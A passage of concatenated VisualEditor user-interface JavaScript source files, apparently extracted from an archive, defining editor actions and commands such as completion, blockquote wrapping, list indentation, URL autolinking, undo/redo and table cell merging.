 * VisualEditor UserInterface CompletionAction class.
 *
 * @copyright 2011-2019 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Completion action.
 *
 * This is a very specialized action, which mostly exists to be a data-provider to a
 * completion widget. Completion-types *must* override getSuggestions.
 *
 * @class
 * @abstract
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.CompletionAction = function VeUiCompletionAction() {
	// Parent constructor
	ve.ui.CompletionAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.CompletionAction, ve.ui.Action );

/* Static Properties */

/**
 * Length to which to limit the list of returned completions
 *
 * @static
 * @property {number}
 */
ve.ui.CompletionAction.static.defaultLimit = 8;

/**
 * Length of the sequence which triggers the action
 *
 * This many characters will be stripped from the start of the current input by
 * CompletionWidget when triggered by a sequence, see #getSequenceLength.
 *
 * @static
 * @property {number}
 */
ve.ui.CompletionAction.static.sequenceLength = 1;

/**
 * Whether the current input should be included as a completion automatically
 *
 * @static
 * @property {boolean}
 */
ve.ui.CompletionAction.static.alwaysIncludeInput = true;

ve.ui.CompletionAction.static.methods = [ 'open' ];

/* Methods */

/**
 * Show the completions
 *
 * @param {boolean} [isolateInput] Isolate input from the surface
 * @return {boolean} Action was executed
 */
ve.ui.CompletionAction.prototype.open = function ( isolateInput ) {
	this.surface.completion.setup( this, isolateInput );

	return true;
};

/**
 * Retrieve suggested completions for the given input
 *
 * @abstract
 * @param {string} input
 * @param {number} [limit=20] Maximum number of results
 * @return {jQuery.Promise} Promise that resolves with list of suggestions.
 *  Suggestions are converted to menu itmes by getMenuItemForSuggestion.
 */
ve.ui.CompletionAction.prototype.getSuggestions = null;

/**
 * Get a label to show as the menu header
 *
 * This is called twice per input, once with the new user input
 * immediately after it is entered, and again later with the
 * same input and its resolved suggestions
 *
 * @param {string} input User input
 * @param {Array} [suggestions] Returned suggestions
 * @return {jQuery|string|OO.ui.HtmlSnippet|Function|null|undefined} Label. Use undefined
 *  to avoid updating the label, and null to clear it.
 */
ve.ui.CompletionAction.prototype.getHeaderLabel = function () {
	return null;
};

/**
 * Choose a specific item
 *
 * @param {OO.ui.MenuOptionWidget} item Chosen item
 * @param {ve.Range} range Current surface range
 */
ve.ui.CompletionAction.prototype.chooseItem = function ( item, range ) {
	var fragment = this.insertCompletion( item.getData(), range );
	fragment.collapseToEnd().select();
};

/**
 * Perform the insetion for the chosen suggestion
 *
 * @param {Object} data Whatever data was attached to the menu option widget
 * @param {ve.Range} range The range the widget is considering
 * @return {ve.dm.SurfaceFragment} The fragment containing the inserted content
 */
ve.ui.CompletionAction.prototype.insertCompletion = function ( data, range ) {
	return this.surface.getModel().getLinearFragment( range )
		.insertContent( data, true );
};

/**
 * Should the widget abandon trying to find matches given the current state?
 *
 * @param {string} input
 * @param {number} matches Number of matches before the input occurred
 * @return {boolean} Whether to abandon
 */
ve.ui.CompletionAction.prototype.shouldAbandon = function ( input, matches ) {
	// Abandon after adding whitespace if there are no active potential matches,
	// or if whitespace has been the sole input
	return /^\s+$/.test( input ) ||
		( matches === 0 && /\s$/.test( input ) );
};

/**
 * Get the length of the sequence which triggered this action
 *
 * @return {number} Length of the sequence
 */
ve.ui.CompletionAction.prototype.getSequenceLength = function () {
	return this.source === 'sequence' ? this.constructor.static.sequenceLength : 0;
};

// helpers

/**
 * Make a menu item for a given suggestion
 *
 * @protected
 * @param  {Mixed} suggestion Suggestion data, string by default
 * @return {OO.ui.MenuOptionWidget}
 */
ve.ui.CompletionAction.prototype.getMenuItemForSuggestion = function ( suggestion ) {
	return new OO.ui.MenuOptionWidget( { data: suggestion, label: suggestion } );
};

/**
 * Update the menu item list before adding, e.g. to add menu groups
 *
 * @protected
 * @param  {OO.ui.MenuOptionWidget[]} menuItems
 * @return {OO.ui.MenuOptionWidget[]}
 */
ve.ui.CompletionAction.prototype.updateMenuItems = function ( menuItems ) {
	return menuItems;
};

/**
 * Filter a suggestion list based on the current input
 *
 * This is for an implementor who has fetched/gathered a list of potential
 * suggestions and needs to trim them down to a viable set to display as
 * completion options for a given input.
 *
 * It restricts the selection to only suggestions that start with the input,
 * shortens the list to the configured defaultLimit, and adds the current
 * input to the list if alwaysIncludeInput and there wasn't an exact match.
 *
 * @protected
 * @param  {Mixed[]} suggestions List of valid completions, strings by default
 * @param  {string} input Input to filter the suggestions to
 * @return {string[]}
 */
ve.ui.CompletionAction.prototype.filterSuggestionsForInput = function ( suggestions, input ) {
	var action = this;
	input = input.trim();

	var normalizedInput = input.toLowerCase().trim();

	var exact = false;
	suggestions = suggestions.filter( function ( suggestion ) {
		var result = action.compareSuggestionToInput( suggestion, normalizedInput );
		exact = exact || result.isExact;
		return result.isMatch;
	} );

	if ( this.constructor.static.defaultLimit < suggestions.length ) {
		suggestions.length = this.constructor.static.defaultLimit;
	}
	if ( !exact && this.constructor.static.alwaysIncludeInput && input.length ) {
		suggestions.push( this.createSuggestion( input ) );
	}
	return suggestions;
};

/**
 * Compare a suggestion to the normalized user input (lower case)
 *
 * @param {Mixed} suggestion Suggestion data, string by default
 * @param {string} normalizedInput Noramlized user input
 * @return {Object} Match object, containing two booleans, `isMatch` and `isExact`
 */
ve.ui.CompletionAction.prototype.compareSuggestionToInput = function ( suggestion, normalizedInput ) {
	var normalizedSuggestion = suggestion.toLowerCase();
	return {
		isMatch: normalizedSuggestion.slice( 0, normalizedInput.length ) === normalizedInput,
		isExact: normalizedSuggestion === normalizedInput
	};
};

/**
 * Create a suggestion from an input
 *
 * @param {string} input User input
 * @return {Mixed} Suggestion data, string by default
 */
ve.ui.CompletionAction.prototype.createSuggestion = function ( input ) {
	return input;
};
ui/actions/ve.ui.BlockquoteAction.js000066600000007371151334753760013504 0ustar00/*!
 * VisualEditor UserInterface BlockquoteAction class.
 *
 * @copyright 2011-2018 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Blockquote action.
 *
 * @class
 * @extends ve.ui.Action
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.BlockquoteAction = function VeUiBlockquoteAction() {
	// Parent constructor
	ve.ui.BlockquoteAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.BlockquoteAction, ve.ui.Action );

/* Static Properties */

ve.ui.BlockquoteAction.static.name = 'blockquote';

ve.ui.BlockquoteAction.static.methods = [ 'wrap', 'unwrap', 'toggle' ];

/* Methods */

/**
 * Check if the current selection is wrapped in a blockquote.
 *
 * @return {boolean} Current selection is wrapped in a blockquote
 */
ve.ui.BlockquoteAction.prototype.isWrapped = function () {
	var fragment = this.surface.getModel().getFragment();
	return fragment.hasMatchingAncestor( 'blockquote' );
};

/**
 * Toggle a blockquote around content.
 *
 * @return {boolean} Action was executed
 */
ve.ui.BlockquoteAction.prototype.toggle = function () {
	return this[ this.isWrapped() ? 'unwrap' : 'wrap' ]();
};

/**
 * Add a blockquote around content (only if it has no blockquote already).
 *
 * @return {boolean} Action was executed
 */
ve.ui.BlockquoteAction.prototype.wrap = function () {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	var fragment = surfaceModel.getFragment( null, true );
	// Trim the selection range to the range of leaf nodes in the selection,
	// to avoid covering whole nodes where only start/end tag was selected.
	// For example:
	//     <p>asdf</p><p>qwer</p>   -->   <p>asdf</p><p>qwer</p>
	//        ^^^^^^^^^^^                    ^^^^
	var leaves = fragment.getSelectedLeafNodes();
	var leavesRange = new ve.Range(
		leaves[ 0 ].getRange().start,
		leaves[ leaves.length - 1 ].getRange().end
	);
	fragment = surfaceModel.getLinearFragment( leavesRange, true );

	// Expand to cover entire nodes
	fragment = fragment.expandLinearSelection( 'siblings' );

	// If the nodes can't be wrapped (e.g. they are list items), wrap the parent
	while (
		fragment.getCoveredNodes().some( function ( nodeInfo ) {
			return !nodeInfo.node.isAllowedParentNodeType( 'blockquote' ) || nodeInfo.node.isContent();
		} )
	) {
		fragment = fragment.expandLinearSelection( 'parent' );
	}

	// Wrap everything in a blockquote
	fragment.wrapAllNodes( { type: 'blockquote' } );

	return true;
};

/**
 * Remove blockquote around content (if present).
 *
 * @return {boolean} Action was executed
 */
ve.ui.BlockquoteAction.prototype.unwrap = function () {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	if ( !this.isWrapped() ) {
		return false;
	}

	var fragment = surfaceModel.getFragment( null, true );
	// Trim the selection range to the range of leaf nodes in the selection,
	// to avoid covering whole nodes where only start/end tag was selected.
	// For example:
	//     <bq><p>asdf</p></bq><p>qwer</p>   -->   <bq><p>asdf</p></bq><p>qwer</p>
	//            ^^^^^^^^^^^^^^^^                        ^^^^
	var leaves = fragment.getSelectedLeafNodes();
	var leavesRange = new ve.Range(
		leaves[ 0 ].getRange().start,
		leaves[ leaves.length - 1 ].getRange().end
	);
	fragment = surfaceModel.getLinearFragment( leavesRange, true );

	fragment
		// Expand to cover entire blockquote
		.expandLinearSelection( 'closest', ve.dm.BlockquoteNode )
		// Unwrap it
		.unwrapNodes( 0, 1 );

	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.BlockquoteAction );
ui/actions/ve.ui.ContentAction.js000066600000010361151334753760012777 0ustar00/*!
 * VisualEditor UserInterface ContentAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Content action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.ContentAction = function VeUiContentAction() {
	// Parent constructor
	ve.ui.ContentAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.ContentAction, ve.ui.Action );

/* Static Properties */

ve.ui.ContentAction.static.name = 'content';

ve.ui.ContentAction.static.methods = [ 'insert', 'remove', 'select', 'pasteSpecial', 'selectAll', 'changeDirectionality', 'submit', 'cancel', 'focusContext' ];

/* Methods */

/**
 * Insert content.
 *
 * @param {string|Array} content Content to insert, can be either a string or array of data
 * @param {boolean} [annotate] Content should be automatically annotated to match surrounding content
 * @param {boolean} [collapseToEnd] Collapse selection to end after inserting
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.insert = function ( content, annotate, collapseToEnd ) {
	var fragment = this.surface.getModel().getFragment();
	fragment.insertContent( content, annotate );
	if ( collapseToEnd ) {
		fragment.collapseToEnd().select();
	}
	return true;
};

/**
 * Remove content.
 *
 * @param {string} [key] Trigger remove as if a key were pressed, either 'backspace' or 'delete'
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.remove = function ( key ) {
	var defaultPrevented = false;
	if ( key ) {
		var e = {
			keyCode: key === 'delete' ? OO.ui.Keys.DELETE : OO.ui.Keys.BACKSPACE,
			preventDefault: function () {
				defaultPrevented = true;
			}
		};
		ve.ce.keyDownHandlerFactory.executeHandlersForKey(
			e.keyCode,
			this.surface.getModel().getSelection().getName(),
			this.surface.getView(),
			e
		);
		return defaultPrevented;
	} else {
		this.surface.getModel().getFragment().removeContent();
		return true;
	}
};

/**
 * Select content.
 *
 * @param {ve.dm.Selection} selection
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.select = function ( selection ) {
	this.surface.getModel().setSelection( selection );
	return true;
};

/**
 * Select all content.
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.selectAll = function () {
	this.surface.getView().selectAll();
	return true;
};

/**
 * Paste special.
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.pasteSpecial = function () {
	this.surface.getView().pasteSpecial = true;
	// Return false to allow the paste event to occur
	return false;
};

/**
 * Change directionality
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.changeDirectionality = function () {
	var documentView = this.surface.getView().getDocument();
	documentView.setDir( documentView.getDir() === 'ltr' ? 'rtl' : 'ltr' );
	this.surface.getModel().emit( 'contextChange' );
	this.surface.getView().emit( 'position' );
	return true;
};

/**
 * Emit a surface submit event
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.submit = function () {
	this.surface.emit( 'submit' );
	return true;
};

/**
 * Emit a surface cancel event
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.cancel = function () {
	if ( this.surface.context.isVisible() ) {
		// T97350
		this.surface.context.hide();
	} else {
		this.surface.emit( 'cancel' );
	}
	return true;
};

/**
 * Move keyboard focus to the context menu.
 *
 * @return {boolean} Action was executed
 */
ve.ui.ContentAction.prototype.focusContext = function () {
	if ( this.surface.getContext().isVisible() ) {
		// Disable $focusTrapBefore so it doesn't get matched as the first
		// focusable item.
		this.surface.getContext().$focusTrapBefore.prop( 'disabled', true );
		var $focusable = OO.ui.findFocusable( this.surface.getContext().$element );
		this.surface.getContext().$focusTrapBefore.prop( 'disabled', false );
		if ( $focusable.length ) {
			this.surface.getView().deactivate();
			$focusable[ 0 ].focus();
			return true;
		}
	}
	return false;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.ContentAction );
ui/actions/ve.ui.IndentationAction.js000066600000022563151334753760013650 0ustar00/*!
 * VisualEditor UserInterface IndentationAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Indentation action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.IndentationAction = function VeUiIndentationAction() {
	// Parent constructor
	ve.ui.IndentationAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.IndentationAction, ve.ui.Action );

/* Static Properties */

ve.ui.IndentationAction.static.name = 'indentation';

ve.ui.IndentationAction.static.methods = [ 'increase', 'decrease' ];

/* Methods */

/**
 * Indent content.
 *
 * @return {boolean} Indentation increase occurred
 */
ve.ui.IndentationAction.prototype.increase = function () {
	return this.changeIndentation( 1 );
};

/**
 * Unindent content.
 *
 * @return {boolean} Indentation decrease occurred
 */
ve.ui.IndentationAction.prototype.decrease = function () {
	return this.changeIndentation( -1 );
};

/**
 * Change indentation of content.
 *
 * @param {number} indent Indentation change, 1 or -1
 * @return {boolean} Indentation decrease occurred
 */
ve.ui.IndentationAction.prototype.changeIndentation = function ( indent ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	var documentModel = surfaceModel.getDocument();
	var groups = documentModel.getCoveredSiblingGroups( selection.getRange() );

	var fragments = [];
	var changed = false;
	// Build fragments from groups (we need their ranges since the nodes will be rebuilt on change)
	groups.forEach( function ( group ) {
		if ( group.grandparent && group.grandparent.getType() === 'list' ) {
			fragments.push( surfaceModel.getLinearFragment( group.parent.getRange(), true ) );
			changed = true;
		} else if ( group.parent && group.parent.getType() === 'list' ) {
			// In a slug, the node will be the listItem.
			fragments.push( surfaceModel.getLinearFragment( group.nodes[ 0 ].getRange(), true ) );
			changed = true;
		}
	} );

	var action = this;
	// Process each fragment (their ranges are automatically adjusted on change)
	fragments.forEach( function ( fragment ) {
		var listItem = documentModel.getBranchNodeFromOffset( fragment.getSelection().getRange().start );
		if ( indent > 0 ) {
			action.indentListItem( listItem );
		} else {
			action.unindentListItem( listItem );
		}
	} );

	return changed;
};

/**
 * Indent a list item.
 *
 * @param {ve.dm.ListItemNode} listItem List item to indent
 * @throws {Error} listItem must be a ve.dm.ListItemNode
 */
ve.ui.IndentationAction.prototype.indentListItem = function ( listItem ) {
	// This check should never fail
	/* istanbul ignore next */
	if ( !( listItem instanceof ve.dm.ListItemNode ) ) {
		throw new Error( 'listItem must be a ve.dm.ListItemNode' );
	}

	/*
	 * Indenting a list item is done as follows:
	 *
	 * 1. Wrap the listItem in a list and a listItem (<li> --> <li><ul><li>)
	 * 2. Merge this wrapped listItem into the previous listItem if present
	 *    (<li>Previous</li><li><ul><li>This --> <li>Previous<ul><li>This)
	 * 3. If this results in the wrapped list being preceded by another list,
	 *    merge those lists.
	 */

	var listType = listItem.getParent().getAttribute( 'style' );
	var listItemRange = listItem.getOuterRange();

	// CAREFUL: after initializing the variables above, we cannot use the model tree!
	// The first transaction will cause rebuilds so the nodes we have references to now
	// will be detached and useless after the first transaction. Instead, inspect
	// documentModel.data to find out things about the current structure.

	var surfaceModel = this.surface.getModel();
	// (1) Wrap the listItem in a list and a listItem
	surfaceModel.getLinearFragment( listItemRange, true )
		.wrapNodes( [ { type: 'listItem' }, { type: 'list', attributes: { style: listType } } ] );

	var documentModel = surfaceModel.getDocument();
	// (2) Merge the listItem into the previous listItem (if there is one)
	if (
		documentModel.data.getData( listItemRange.start ).type === 'listItem' &&
		documentModel.data.getData( listItemRange.start - 1 ).type === '/listItem'
	) {
		var mergeStart = listItemRange.start - 1;
		var mergeEnd = listItemRange.start + 1;
		// (3) If this results in adjacent lists, merge those too
		if (
			documentModel.data.getData( mergeEnd ).type === 'list' &&
			documentModel.data.getData( mergeStart - 1 ).type === '/list'
		) {
			mergeStart--;
			mergeEnd++;
		}
		surfaceModel.getLinearFragment( new ve.Range( mergeStart, mergeEnd ), true ).removeContent();
	}

	// TODO If this listItem has a child list, split&unwrap it
};

/**
 * Unindent a list item.
 *
 * TODO: Refactor functionality into {ve.dm.SurfaceFragment}.
 *
 * @param {ve.dm.ListItemNode} listItem List item to unindent
 * @throws {Error} listItem must be a ve.dm.ListItemNode
 */
ve.ui.IndentationAction.prototype.unindentListItem = function ( listItem ) {
	// This check should never fail
	/* istanbul ignore next */
	if ( !( listItem instanceof ve.dm.ListItemNode ) ) {
		throw new Error( 'listItem must be a ve.dm.ListItemNode' );
	}

	var tx;
	var surfaceModel = this.surface.getModel();
	var documentModel = surfaceModel.getDocument();
	var fragment = surfaceModel.getLinearFragment( listItem.getOuterRange(), true );
	var list = listItem.getParent();
	var listElement = list.getClonedElement();
	var grandParentType = list.getParent().getType();
	var listItemRange = listItem.getOuterRange();

	/*
	 * Outdenting a list item is done as follows:
	 * 1. Split the parent list to isolate the listItem in its own list
	 * 1a. Split the list before the listItem if it's not the first child
	 * 1b. Split the list after the listItem if it's not the last child
	 * 2. If this isolated list's parent is not a listItem, unwrap the listItem and the isolated list, and stop.
	 * 3. Split the parent listItem to isolate the list in its own listItem
	 * 3a. Split the listItem before the list if it's not the first child
	 * 3b. Split the listItem after the list if it's not the last child
	 * 4. Unwrap the now-isolated listItem and the isolated list
	 */
	// TODO: Child list handling, gotta figure that out.
	// CAREFUL: after initializing the variables above, we cannot use the model tree!
	// The first transaction will cause rebuilds so the nodes we have references to now
	// will be detached and useless after the first transaction. Instead, inspect
	// documentModel.data to find out things about the current structure.

	// (1) Split the listItem into a separate list
	if ( documentModel.data.getData( listItemRange.start - 1 ).type !== 'list' ) {
		// (1a) listItem is not the first child, split the list before listItem
		tx = ve.dm.TransactionBuilder.static.newFromInsertion( documentModel, listItemRange.start,
			[ { type: '/list' }, listElement ]
		);
		surfaceModel.change( tx );
		// tx.translateRange( listItemRange ) doesn't do what we want
		listItemRange = listItemRange.translate( 2 );
	}
	if ( documentModel.data.getData( listItemRange.end ).type !== '/list' ) {
		// (1b) listItem is not the last child, split the list after listItem
		tx = ve.dm.TransactionBuilder.static.newFromInsertion( documentModel, listItemRange.end,
			[ { type: '/list' }, listElement ]
		);
		surfaceModel.change( tx );
		// listItemRange is not affected by this transaction
	}
	var splitListRange = new ve.Range( listItemRange.start - 1, listItemRange.end + 1 );

	if ( grandParentType !== 'listItem' ) {
		// The user is trying to unindent a list item that's not nested
		// (2) Unwrap both the list and the listItem, dumping the listItem's contents
		// into the list's parent
		surfaceModel.getLinearFragment( new ve.Range( listItemRange.start + 1, listItemRange.end - 1 ), true )
			.unwrapNodes( 2 );

		// Ensure paragraphs are not generated paragraphs now that they are not in a list
		var children = fragment.getSiblingNodes();
		for ( var i = 0, length = children.length; i < length; i++ ) {
			var child = children[ i ].node;
			if ( child.type === 'paragraph' && ve.getProp( child.element, 'internal', 'generated' ) ) {
				surfaceModel.getLinearFragment( child.getOuterRange(), true ).convertNodes( 'paragraph', child.getAttributes(), {} );
			}
		}
	} else {
		// (3) Split the list away from parentListItem into its own listItem
		// TODO factor common split logic somehow?
		if ( documentModel.data.getData( splitListRange.start - 1 ).type !== 'listItem' ) {
			// (3a) Split parentListItem before list
			tx = ve.dm.TransactionBuilder.static.newFromInsertion( documentModel, splitListRange.start,
				[ { type: '/listItem' }, { type: 'listItem' } ]
			);
			surfaceModel.change( tx );
			// tx.translateRange( splitListRange ) doesn't do what we want
			splitListRange = splitListRange.translate( 2 );
		}
		if ( documentModel.data.getData( splitListRange.end ).type !== '/listItem' ) {
			// (3b) Split parentListItem after list
			tx = ve.dm.TransactionBuilder.static.newFromInsertion( documentModel, splitListRange.end,
				[ { type: '/listItem' }, { type: 'listItem' } ]
			);
			surfaceModel.change( tx );
			// splitListRange is not affected by this transaction
		}

		// (4) Unwrap the list and its containing listItem
		surfaceModel.getLinearFragment( new ve.Range( splitListRange.start + 1, splitListRange.end - 1 ), true )
			.unwrapNodes( 2 );
	}
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.IndentationAction );
ui/actions/ve.ui.LinkAction.js000066600000013752151334753760012271 0ustar00/*!
 * VisualEditor UserInterface LinkAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Link action.
 * This action transforms or inspects links (or potential links).
 *
 * @class
 * @extends ve.ui.Action
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.LinkAction = function VeUiLinkAction() {
	// Parent constructor
	ve.ui.LinkAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.LinkAction, ve.ui.Action );

/* Static Properties */

ve.ui.LinkAction.static.name = 'link';

/**
 * RegExp matching an autolink + trailing space.
 *
 * @property {RegExp}
 * @private
 */
ve.ui.LinkAction.static.autolinkRegExp = null; // Initialized below.

ve.ui.LinkAction.static.methods = [ 'autolinkUrl' ];

/* Methods */

/**
 * Autolink the selected URL (which may have trailing whitespace).
 *
 * @return {boolean}
 *   True if the selection is a valid URL and the autolink action was
 *   executed; otherwise false.
 */
ve.ui.LinkAction.prototype.autolinkUrl = function () {
	return this.autolink( function ( linktext ) {
		// Make sure we still have a real URL after trail removal, and not
		// a bare protocol (or no protocol at all, if we stripped the last
		// colon from the protocol)
		return ve.ui.LinkAction.static.autolinkRegExp.test( linktext );
	} );
};

/**
 * Autolink the selection, which may have trailing whitespace.
 *
 * @private
 * @param {Function} validateFunc
 *   A function used to validate the given linktext.
 * @param {string} validateFunc.linktext
 *   Linktext with trailing whitespace and punctuation stripped.
 * @param {boolean} validateFunc.return
 *   True iff the given linktext is valid.  If false, no linking will be done.
 * @param {Function} [txFunc]
 *   An optional function to create a transaction to perform the autolink.
 *   If not provided, a transaction will be created which applies the
 *   annotations returned by {@link ve.ui.LinkAction#getLinkAnnotation}.
 * @param {ve.dm.Document} txFunc.documentModel
 *   The document model to modify.
 * @param {ve.Range} txFunc.range
 *   The range to autolink.
 * @param {string} txFunc.linktext
 *   The text string to autolink.
 * @param {ve.dm.Transaction} txFunc.return
 *   The transaction to perform the autolink operation.
 * @return {boolean} Selection was valid and link action was executed.
 */
ve.ui.LinkAction.prototype.autolink = function ( validateFunc, txFunc ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	function isLinkAnnotation( annotation ) {
		return /^link/.test( annotation.name );
	}

	var range = selection.getRange();
	var rangeEnd = range.end;

	var documentModel = surfaceModel.getDocument();
	var linktext = documentModel.data.getText( true, range );

	// Eliminate trailing whitespace.
	linktext = linktext.replace( /\s+$/, '' );

	// Eliminate trailing punctuation.
	linktext = linktext.replace( this.getTrailingPunctuation( linktext ), '' );

	// Validate the stripped text.
	if ( !validateFunc( linktext ) ) {
		// Don't autolink this.
		return false;
	}

	// Shrink range to match new linktext.
	range = range.truncate( linktext.length );

	// If there are word characters (but not punctuation) immediately past the range, don't autolink.
	// The user did something silly like type a link in the middle of a word.
	if (
		range.end + 1 < documentModel.data.getLength() &&
		/\w/.test( documentModel.data.getText( true, new ve.Range( range.end, range.end + 1 ) ) )
	) {
		return false;
	}

	// Check that none of the range has an existing link annotation.
	// Otherwise we could autolink an internal link, which would be ungood.
	for ( var i = range.start; i < range.end; i++ ) {
		if ( documentModel.data.getAnnotationsFromOffset( i ).containsMatching( isLinkAnnotation ) ) {
			// Don't autolink this.
			return false;
		}
	}

	// Make sure `undo` doesn't expose the selected linktext.
	surfaceModel.setLinearSelection( new ve.Range( rangeEnd ) );

	// Annotate the (previous) range.
	if ( txFunc ) {
		// TODO: Change this API so that 'txFunc' is given a surface fragment
		// as an argument, and uses the fragment to directly edit the document.
		surfaceModel.change( txFunc( documentModel, range, linktext ) );
	} else {
		surfaceModel.getLinearFragment( range, true ).annotateContent( 'set', this.getLinkAnnotation( linktext ) );
	}

	return true;
};

/**
 * Return an appropriate "trailing punctuation" set, which will
 * get stripped from possible autolinks.
 *
 * @param {string} candidate
 *   The candidate text.  Some users may not wish to include closing
 *   brackets/braces/parentheses in the stripped character class if an
 *   opening bracket/brace/parenthesis in present in the candidate link
 *   text.
 * @return {RegExp}
 *   A regular expression matching trailing punctuation which will be
 *   stripped from an autolink.
 */
ve.ui.LinkAction.prototype.getTrailingPunctuation = function () {
	return /[,;.:!?)\]}"'”’»]+$/;
};

/**
 * Return an appropriate annotation for the given link text.
 *
 * @param {string} linktext The link text to annotate.
 * @return {ve.dm.LinkAnnotation} The annotation to use.
 */
ve.ui.LinkAction.prototype.getLinkAnnotation = function ( linktext ) {
	return new ve.dm.LinkAnnotation( {
		type: 'link',
		attributes: {
			href: linktext
		}
	} );
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.LinkAction );

// Delayed initialization (wait until ve.init.platform exists)
ve.init.Platform.static.initializedPromise.then( function () {
	ve.ui.LinkAction.static.autolinkRegExp =
		// eslint-disable-next-line security/detect-non-literal-regexp
		new RegExp(
			'\\b' + ve.init.platform.getUnanchoredExternalLinkUrlProtocolsRegExp().source + '\\S+$',
			'i'
		);

	ve.ui.sequenceRegistry.register(
		new ve.ui.Sequence(
			'autolinkUrl', 'autolinkUrl', ve.ui.LinkAction.static.autolinkRegExp, 0,
			{
				setSelection: true,
				delayed: true
			}
		)
	);
} );
ui/commands/ve.ui.HistoryCommand.js000066600000002101151334753760013321 0ustar00/*!
 * VisualEditor UserInterface HistoryCommand class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * UserInterface history command.
 *
 * @class
 * @extends ve.ui.Command
 *
 * @constructor
 * @param {string} name
 * @param {string} [method]
 */
ve.ui.HistoryCommand = function VeUiHistoryCommand( name, method ) {
	method = method || name;

	// Parent constructor
	ve.ui.HistoryCommand.super.call( this, name, 'history', method );

	this.checkMethod = {
		undo: 'canUndo',
		redo: 'canRedo'
	}[ method ];
};

/* Inheritance */

OO.inheritClass( ve.ui.HistoryCommand, ve.ui.Command );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.HistoryCommand.prototype.isExecutable = function ( fragment ) {
	var surface = fragment.getSurface();

	// Parent method
	return ve.ui.HistoryCommand.super.prototype.isExecutable.apply( this, arguments ) &&
		surface[ this.checkMethod ]();
};

/* Registration */

ve.ui.commandRegistry.register( new ve.ui.HistoryCommand( 'undo' ) );

ve.ui.commandRegistry.register( new ve.ui.HistoryCommand( 'redo' ) );
ui/commands/ve.ui.ClearAnnotationCommand.js000066600000001655151334753760014756 0ustar00/*!
 * VisualEditor UserInterface ClearAnnotationCommand class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * UserInterface clear all annotations command.
 *
 * @class
 * @extends ve.ui.Command
 *
 * @constructor
 */
ve.ui.ClearAnnotationCommand = function VeUiClearAnnotationCommand() {
	// Parent constructor
	ve.ui.ClearAnnotationCommand.super.call(
		this, 'clear', 'annotation', 'clearAll',
		{ supportedSelections: [ 'linear', 'table' ] }
	);
};

/* Inheritance */

OO.inheritClass( ve.ui.ClearAnnotationCommand, ve.ui.Command );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.ClearAnnotationCommand.prototype.isExecutable = function ( fragment ) {
	// Parent method
	return ve.ui.ClearAnnotationCommand.super.prototype.isExecutable.apply( this, arguments ) &&
		fragment.hasAnnotations();
};

/* Registration */

ve.ui.commandRegistry.register( new ve.ui.ClearAnnotationCommand() );
ui/commands/ve.ui.MergeCellsCommand.js000066600000001627151334753760013716 0ustar00/*!
 * VisualEditor UserInterface MergeCellsCommand class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * UserInterface merge cells command.
 *
 * @class
 * @extends ve.ui.Command
 *
 * @constructor
 */
ve.ui.MergeCellsCommand = function VeUiMergeCellsCommand() {
	// Parent constructor
	ve.ui.MergeCellsCommand.super.call(
		this, 'mergeCells', 'table', 'mergeCells',
		{ supportedSelections: [ 'table' ] }
	);
};

/* Inheritance */

OO.inheritClass( ve.ui.MergeCellsCommand, ve.ui.Command );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.MergeCellsCommand.prototype.isExecutable = function ( fragment ) {
	// Parent method
	return ve.ui.MergeCellsCommand.super.prototype.isExecutable.apply( this, arguments ) &&
		fragment.getSelection().isMergeable( fragment.getDocument() );
};

/* Registration */

